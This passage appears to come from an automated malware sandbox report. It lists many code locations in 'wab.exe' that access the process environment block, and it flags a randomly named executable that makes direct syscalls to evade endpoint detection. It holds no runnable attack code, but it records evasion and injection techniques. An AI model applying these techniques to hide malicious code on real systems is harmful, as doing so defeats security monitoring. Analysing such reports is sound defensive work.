Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207F132D mov eax, dword ptr fs:[00000030h] 9_2_207F132D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F32A mov eax, dword ptr fs:[00000030h] 9_2_2075F32A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072C310 mov ecx, dword ptr fs:[00000030h] 9_2_2072C310
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20750310 mov ecx, dword ptr fs:[00000030h] 9_2_20750310
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B930B mov eax, dword ptr fs:[00000030h] 9_2_207B930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B930B mov eax, dword ptr fs:[00000030h] 9_2_207B930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B930B mov eax, dword ptr fs:[00000030h] 9_2_207B930B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208053FC mov eax, dword ptr fs:[00000030h] 9_2_208053FC
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076A30B mov eax, dword ptr fs:[00000030h] 9_2_2076A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076A30B mov eax, dword ptr fs:[00000030h] 9_2_2076A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076A30B mov eax, dword ptr fs:[00000030h] 9_2_2076A30B
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074E3F0 mov eax, dword ptr fs:[00000030h] 9_2_2074E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074E3F0 mov eax, dword ptr fs:[00000030h] 9_2_2074E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074E3F0 mov eax, dword ptr fs:[00000030h] 9_2_2074E3F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207663FF mov eax, dword ptr fs:[00000030h] 9_2_207663FF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EF3E6 mov eax, dword ptr fs:[00000030h] 9_2_207EF3E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h] 9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h] 9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h] 9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h] 9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h] 9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h] 9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h] 9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207403E9 mov eax, dword ptr fs:[00000030h] 9_2_207403E9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EB3D0 mov ecx, dword ptr fs:[00000030h] 9_2_207EB3D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EC3CD mov eax, dword ptr fs:[00000030h] 9_2_207EC3CD
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h] 9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h] 9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h] 9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h] 9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h] 9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073A3C0 mov eax, dword ptr fs:[00000030h] 9_2_2073A3C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207383C0 mov eax, dword ptr fs:[00000030h] 9_2_207383C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207383C0 mov eax, dword ptr fs:[00000030h] 9_2_207383C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207383C0 mov eax, dword ptr fs:[00000030h] 9_2_207383C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207383C0 mov eax, dword ptr fs:[00000030h] 9_2_207383C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B63C0 mov eax, dword ptr fs:[00000030h] 9_2_207B63C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20805341 mov eax, dword ptr fs:[00000030h] 9_2_20805341
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207533A5 mov eax, dword ptr fs:[00000030h] 9_2_207533A5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207633A0 mov eax, dword ptr fs:[00000030h] 9_2_207633A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207633A0 mov eax, dword ptr fs:[00000030h] 9_2_207633A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2078739A mov eax, dword ptr fs:[00000030h] 9_2_2078739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2078739A mov eax, dword ptr fs:[00000030h] 9_2_2078739A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20728397 mov eax, dword ptr fs:[00000030h] 9_2_20728397
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20728397 mov eax, dword ptr fs:[00000030h] 9_2_20728397
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20728397 mov eax, dword ptr fs:[00000030h] 9_2_20728397
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072E388 mov eax, dword ptr fs:[00000030h] 9_2_2072E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072E388 mov eax, dword ptr fs:[00000030h] 9_2_2072E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072E388 mov eax, dword ptr fs:[00000030h] 9_2_2072E388
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075438F mov eax, dword ptr fs:[00000030h] 9_2_2075438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075438F mov eax, dword ptr fs:[00000030h] 9_2_2075438F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075A470 mov eax, dword ptr fs:[00000030h] 9_2_2075A470
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075A470 mov eax, dword ptr fs:[00000030h] 9_2_2075A470
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075A470 mov eax, dword ptr fs:[00000030h] 9_2_2075A470
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h] 9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h] 9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h] 9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h] 9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20731460 mov eax, dword ptr fs:[00000030h] 9_2_20731460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h] 9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h] 9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h] 9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h] 9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h] 9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2074F460 mov eax, dword ptr fs:[00000030h] 9_2_2074F460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207BC460 mov ecx, dword ptr fs:[00000030h] 9_2_207BC460
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EF453 mov eax, dword ptr fs:[00000030h] 9_2_207EF453
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075245A mov eax, dword ptr fs:[00000030h] 9_2_2075245A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h] 9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h] 9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h] 9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h] 9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h] 9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073B440 mov eax, dword ptr fs:[00000030h] 9_2_2073B440
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h] 9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h] 9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h] 9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h] 9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h] 9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h] 9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h] 9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E443 mov eax, dword ptr fs:[00000030h] 9_2_2076E443
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076A430 mov eax, dword ptr fs:[00000030h] 9_2_2076A430
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072E420 mov eax, dword ptr fs:[00000030h] 9_2_2072E420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072E420 mov eax, dword ptr fs:[00000030h] 9_2_2072E420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072E420 mov eax, dword ptr fs:[00000030h] 9_2_2072E420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072C427 mov eax, dword ptr fs:[00000030h] 9_2_2072C427
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208054DB mov eax, dword ptr fs:[00000030h] 9_2_208054DB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h] 9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h] 9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h] 9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h] 9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h] 9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h] 9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B6420 mov eax, dword ptr fs:[00000030h] 9_2_207B6420
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207B7410 mov eax, dword ptr fs:[00000030h] 9_2_207B7410
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20768402 mov eax, dword ptr fs:[00000030h] 9_2_20768402
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20768402 mov eax, dword ptr fs:[00000030h] 9_2_20768402
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20768402 mov eax, dword ptr fs:[00000030h] 9_2_20768402
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075340D mov eax, dword ptr fs:[00000030h] 9_2_2075340D
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207304E5 mov ecx, dword ptr fs:[00000030h] 9_2_207304E5
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207D94E0 mov eax, dword ptr fs:[00000030h] 9_2_207D94E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207634B0 mov eax, dword ptr fs:[00000030h] 9_2_207634B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207644B0 mov ecx, dword ptr fs:[00000030h] 9_2_207644B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207BA4B0 mov eax, dword ptr fs:[00000030h] 9_2_207BA4B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207364AB mov eax, dword ptr fs:[00000030h] 9_2_207364AB
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B480 mov eax, dword ptr fs:[00000030h] 9_2_2072B480
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20739486 mov eax, dword ptr fs:[00000030h] 9_2_20739486
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20739486 mov eax, dword ptr fs:[00000030h] 9_2_20739486
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2080547F mov eax, dword ptr fs:[00000030h] 9_2_2080547F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076B570 mov eax, dword ptr fs:[00000030h] 9_2_2076B570
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076B570 mov eax, dword ptr fs:[00000030h] 9_2_2076B570
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2072B562 mov eax, dword ptr fs:[00000030h] 9_2_2072B562
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076656A mov eax, dword ptr fs:[00000030h] 9_2_2076656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076656A mov eax, dword ptr fs:[00000030h] 9_2_2076656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076656A mov eax, dword ptr fs:[00000030h] 9_2_2076656A
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20738550 mov eax, dword ptr fs:[00000030h] 9_2_20738550
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20738550 mov eax, dword ptr fs:[00000030h] 9_2_20738550
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h] 9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h] 9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h] 9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h] 9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h] 9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20740535 mov eax, dword ptr fs:[00000030h] 9_2_20740535
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076D530 mov eax, dword ptr fs:[00000030h] 9_2_2076D530
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076D530 mov eax, dword ptr fs:[00000030h] 9_2_2076D530
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h] 9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h] 9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h] 9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h] 9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h] 9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2073D534 mov eax, dword ptr fs:[00000030h] 9_2_2073D534
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208055C9 mov eax, dword ptr fs:[00000030h] 9_2_208055C9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h] 9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h] 9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h] 9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h] 9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E53E mov eax, dword ptr fs:[00000030h] 9_2_2075E53E
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EB52F mov eax, dword ptr fs:[00000030h] 9_2_207EB52F
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208035D7 mov eax, dword ptr fs:[00000030h] 9_2_208035D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208035D7 mov eax, dword ptr fs:[00000030h] 9_2_208035D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_208035D7 mov eax, dword ptr fs:[00000030h] 9_2_208035D7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h] 9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h] 9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h] 9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h] 9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h] 9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h] 9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207DF525 mov eax, dword ptr fs:[00000030h] 9_2_207DF525
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20767505 mov eax, dword ptr fs:[00000030h] 9_2_20767505
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20767505 mov ecx, dword ptr fs:[00000030h] 9_2_20767505
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h] 9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h] 9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h] 9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h] 9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h] 9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h] 9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20804500 mov eax, dword ptr fs:[00000030h] 9_2_20804500
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h] 9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h] 9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h] 9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h] 9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h] 9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207515F4 mov eax, dword ptr fs:[00000030h] 9_2_207515F4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h] 9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h] 9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h] 9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h] 9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h] 9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h] 9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h] 9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075E5E7 mov eax, dword ptr fs:[00000030h] 9_2_2075E5E7
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207325E0 mov eax, dword ptr fs:[00000030h] 9_2_207325E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076C5ED mov eax, dword ptr fs:[00000030h] 9_2_2076C5ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076C5ED mov eax, dword ptr fs:[00000030h] 9_2_2076C5ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207365D0 mov eax, dword ptr fs:[00000030h] 9_2_207365D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076A5D0 mov eax, dword ptr fs:[00000030h] 9_2_2076A5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076A5D0 mov eax, dword ptr fs:[00000030h] 9_2_2076A5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AD5D0 mov eax, dword ptr fs:[00000030h] 9_2_207AD5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207AD5D0 mov ecx, dword ptr fs:[00000030h] 9_2_207AD5D0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207595DA mov eax, dword ptr fs:[00000030h] 9_2_207595DA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207655C0 mov eax, dword ptr fs:[00000030h] 9_2_207655C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20805537 mov eax, dword ptr fs:[00000030h] 9_2_20805537
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E5CF mov eax, dword ptr fs:[00000030h] 9_2_2076E5CF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2076E5CF mov eax, dword ptr fs:[00000030h] 9_2_2076E5CF
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207EF5BE mov eax, dword ptr fs:[00000030h] 9_2_207EF5BE
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207545B1 mov eax, dword ptr fs:[00000030h] 9_2_207545B1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207545B1 mov eax, dword ptr fs:[00000030h] 9_2_207545B1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2075F5B0 mov eax, dword ptr fs:[00000030h] 9_2_2075F5B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C35BA mov eax, dword ptr fs:[00000030h] 9_2_207C35BA
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207C35BA mov eax, dword ptr fs:[00000030h] 9_2_207C35BA

HIPS / PFW / Operating System Protection Evasion
barindex
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtAllocateVirtualMemory: Direct from: 0x76EF48EC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtQueryAttributesFile: Direct from: 0x76EF2E6C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtQuerySystemInformation: Direct from: 0x76EF48CC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtOpenSection: Direct from: 0x76EF2E0C Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtDeviceIoControlFile: Direct from: 0x76EF2AEC Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BEC Jump to behavior
